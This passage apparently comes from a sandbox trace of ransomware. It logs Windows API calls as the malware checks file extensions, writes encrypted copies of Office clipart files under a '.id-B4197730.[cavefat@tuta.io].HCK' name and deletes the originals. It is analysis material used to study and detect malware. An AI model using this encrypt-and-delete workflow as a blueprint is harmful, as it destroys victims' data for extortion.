lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.411] lstrlenW (lpString=".xls") returned 4 [0239.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.411] lstrlenW (lpString=".xlsx") returned 5 [0239.411] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0239.411] lstrlenW (lpString=".ppt") returned 4 [0239.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.411] lstrlenW (lpString=".zip") returned 4 [0239.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.411] lstrlenW (lpString=".rar") returned 4 [0239.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.411] lstrlenW (lpString=".bz2") returned 4 [0239.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.411] lstrlenW (lpString=".7z") returned 3 [0239.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.411] lstrlenW (lpString=".dbf") returned 4 [0239.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.412] lstrlenW (lpString=".1cd") returned 4 [0239.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.412] lstrlenW (lpString=".jpg") returned 4 [0239.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.412] lstrlenW (lpString=".doc") returned 4 [0239.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.412] lstrlenW (lpString=".docx") returned 5 [0239.412] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0239.412] lstrlenW (lpString=".pdf") returned 4 [0239.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.412] lstrlenW (lpString=".xls") returned 4 [0239.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.412] lstrlenW (lpString=".xlsx") returned 5 [0239.412] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0239.412] lstrlenW (lpString=".ppt") returned 4 [0239.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.412] lstrlenW (lpString=".zip") returned 4 [0239.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.412] lstrlenW (lpString=".rar") returned 4 [0239.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.412] lstrlenW (lpString=".bz2") returned 4 [0239.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.412] lstrlenW (lpString=".7z") returned 3 [0239.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.412] lstrlenW (lpString=".dbf") returned 4 [0239.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.412] lstrlenW (lpString=".1cd") returned 4 [0239.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0239.412] lstrlenW (lpString=".jpg") returned 4 [0239.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.413] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.413] lstrlenW (lpString="J0157167.WMF") returned 12 [0239.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.414] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=46702) returned 1 [0239.414] CloseHandle (hObject=0x568) returned 1 [0239.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf")) returned 0x220 [0239.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.415] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.415] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0239.416] GetLastError () returned 0x0 [0239.416] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xb66e, lpOverlapped=0x0) returned 1 [0239.545] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xb670, lpOverlapped=0x0) returned 1 [0239.547] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.547] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.547] SetEndOfFile (hFile=0x55c) returned 1 [0239.547] CloseHandle (hObject=0x55c) returned 1 [0239.547] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.547] SetEndOfFile (hFile=0x568) returned 1 [0239.550] CloseHandle (hObject=0x568) returned 1 [0239.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf")) returned 1 [0239.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.563] lstrlenW (lpString=".doc") returned 4 [0239.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.563] lstrlenW (lpString=".docx") returned 5 [0239.563] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0239.563] lstrlenW (lpString=".pdf") returned 4 [0239.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.563] lstrlenW (lpString=".xls") returned 4 [0239.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.564] lstrlenW (lpString=".xlsx") returned 5 [0239.564] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0239.564] lstrlenW (lpString=".ppt") returned 4 [0239.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.564] lstrlenW (lpString=".zip") returned 4 [0239.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.564] lstrlenW (lpString=".rar") returned 4 [0239.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.564] lstrlenW (lpString=".bz2") returned 4 [0239.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.564] lstrlenW (lpString=".7z") returned 3 [0239.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.564] lstrlenW (lpString=".dbf") returned 4 [0239.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.564] lstrlenW (lpString=".1cd") returned 4 [0239.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.564] lstrlenW (lpString=".jpg") returned 4 [0239.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.564] lstrlenW (lpString=".doc") returned 4 [0239.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.564] lstrlenW (lpString=".docx") returned 5 [0239.564] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0239.564] lstrlenW (lpString=".pdf") returned 4 [0239.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.564] lstrlenW (lpString=".xls") returned 4 [0239.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.564] lstrlenW (lpString=".xlsx") returned 5 [0239.564] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0239.564] lstrlenW (lpString=".ppt") returned 4 [0239.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.564] lstrlenW (lpString=".zip") returned 4 [0239.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.565] lstrlenW (lpString=".rar") returned 4 [0239.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.565] lstrlenW (lpString=".bz2") returned 4 [0239.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.565] lstrlenW (lpString=".7z") returned 3 [0239.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.565] lstrlenW (lpString=".dbf") returned 4 [0239.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.565] lstrlenW (lpString=".1cd") returned 4 [0239.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF") returned 68 [0239.565] lstrlenW (lpString=".jpg") returned 4 [0239.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.565] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.565] lstrlenW (lpString="J0157831.WMF") returned 12 [0239.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.566] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11396) returned 1 [0239.567] CloseHandle (hObject=0x568) returned 1 [0239.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 0x220 [0239.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.567] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.568] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0239.568] GetLastError () returned 0x0 [0239.568] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x2c84, lpOverlapped=0x0) returned 1 [0239.570] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2c90, lpOverlapped=0x0) returned 1 [0239.571] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.571] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.571] SetEndOfFile (hFile=0x55c) returned 1 [0239.571] CloseHandle (hObject=0x55c) returned 1 [0239.571] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.571] SetEndOfFile (hFile=0x568) returned 1 [0239.573] CloseHandle (hObject=0x568) returned 1 [0239.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 1 [0239.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.575] lstrlenW (lpString=".doc") returned 4 [0239.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.575] lstrlenW (lpString=".docx") returned 5 [0239.575] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0239.575] lstrlenW (lpString=".pdf") returned 4 [0239.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.575] lstrlenW (lpString=".xls") returned 4 [0239.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.575] lstrlenW (lpString=".xlsx") returned 5 [0239.575] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0239.575] lstrlenW (lpString=".ppt") returned 4 [0239.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.575] lstrlenW (lpString=".zip") returned 4 [0239.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.575] lstrlenW (lpString=".rar") returned 4 [0239.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.575] lstrlenW (lpString=".bz2") returned 4 [0239.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.575] lstrlenW (lpString=".7z") returned 3 [0239.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.575] lstrlenW (lpString=".dbf") returned 4 [0239.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.575] lstrlenW (lpString=".1cd") returned 4 [0239.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.575] lstrlenW (lpString=".jpg") returned 4 [0239.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.575] lstrlenW (lpString=".doc") returned 4 [0239.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.575] lstrlenW (lpString=".docx") returned 5 [0239.576] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0239.576] lstrlenW (lpString=".pdf") returned 4 [0239.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.576] lstrlenW (lpString=".xls") returned 4 [0239.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.576] lstrlenW (lpString=".xlsx") returned 5 [0239.576] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0239.576] lstrlenW (lpString=".ppt") returned 4 [0239.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.576] lstrlenW (lpString=".zip") returned 4 [0239.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.576] lstrlenW (lpString=".rar") returned 4 [0239.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.576] lstrlenW (lpString=".bz2") returned 4 [0239.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.576] lstrlenW (lpString=".7z") returned 3 [0239.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.576] lstrlenW (lpString=".dbf") returned 4 [0239.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.576] lstrlenW (lpString=".1cd") returned 4 [0239.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0239.576] lstrlenW (lpString=".jpg") returned 4 [0239.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.576] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.576] lstrlenW (lpString="J0158071.WMF") returned 12 [0239.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.577] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=18652) returned 1 [0239.577] CloseHandle (hObject=0x568) returned 1 [0239.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf")) returned 0x220 [0239.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.578] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.578] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0239.579] GetLastError () returned 0x0 [0239.579] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x48dc, lpOverlapped=0x0) returned 1 [0239.581] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x48e0, lpOverlapped=0x0) returned 1 [0239.581] ReadFile (in: hFile=0x568, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.582] WriteFile (in: hFile=0x55c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.582] SetEndOfFile (hFile=0x55c) returned 1 [0239.582] CloseHandle (hObject=0x55c) returned 1 [0239.582] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.582] SetEndOfFile (hFile=0x568) returned 1 [0239.585] CloseHandle (hObject=0x568) returned 1 [0239.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158071.wmf")) returned 1 [0239.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.587] lstrlenW (lpString=".doc") returned 4 [0239.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.587] lstrlenW (lpString=".docx") returned 5 [0239.587] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0239.587] lstrlenW (lpString=".pdf") returned 4 [0239.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.587] lstrlenW (lpString=".xls") returned 4 [0239.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.587] lstrlenW (lpString=".xlsx") returned 5 [0239.587] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0239.587] lstrlenW (lpString=".ppt") returned 4 [0239.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.587] lstrlenW (lpString=".zip") returned 4 [0239.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.587] 